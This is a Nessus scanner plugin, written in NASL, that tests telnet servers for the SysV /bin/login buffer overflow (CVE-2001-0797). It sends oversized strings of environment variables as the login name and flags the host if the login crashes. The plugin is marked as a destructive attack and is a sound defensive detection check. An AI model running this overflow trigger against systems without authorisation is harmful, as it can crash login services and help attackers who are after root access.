# # This plugin was written by Renaud Deraison and # is released under the GPL. # # Sun's patch makes /bin/login exits when it receives too many arguments, # hence making the detection of the flaw difficult. Our logic is the # following : # # Username: "nessus" -> should not crash # Username: "nessus A=B..... x 61" -> should not crash # Username: "nessus A=B..... x 100" -> should crash # if (description) { script_id(10827); script_cve_id("CVE-2001-0797"); if(defined_func("script_xref"))script_xref(name:"IAVA", value:"2002-A-0004"); script_version("$Revision$"); script_bugtraq_id(3681, 7481); name["english"] = "SysV /bin/login buffer overflow (telnet)"; script_name(english:name["english"]); desc["english"] = " The remote /bin/login seems to crash when it receives too many environment variables. An attacker may use this flaw to gain a root shell on this system. See also : http://www.cert.org/advisories/CA-2001-34.html Solution : Contact your vendor for a patch (or read the CERT advisory) Risk factor : High"; script_description(english:desc["english"]); summary["english"] = "Attempts to overflow /bin/login"; script_summary(english:summary["english"]); script_category(ACT_DESTRUCTIVE_ATTACK); script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison"); family["english"] = "Gain root remotely"; script_family(english:family["english"]); script_dependencie("find_service.nes"); script_require_ports("Services/telnet", 23); exit(0); } port = get_kb_item("Services/telnet"); if(!port) port = 23; if(!get_port_state(port))exit(0); function login(env) { soc = open_sock_tcp(port); if(soc) { buffer = telnet_init(soc); send(socket:soc, data:string("nessus ", env, "\r\n")); r = recv(socket:soc, length:4096); close(soc); if("word:" >< r) { return(1); } } return(0); } if(login(env:"")) { my_env = crap(data:"A=B ", length:244); res = login(env:my_env); if(res) { my_env = crap(data:"A=B ", length:400); res = login(env:my_env); if(!res)security_hole(port); } }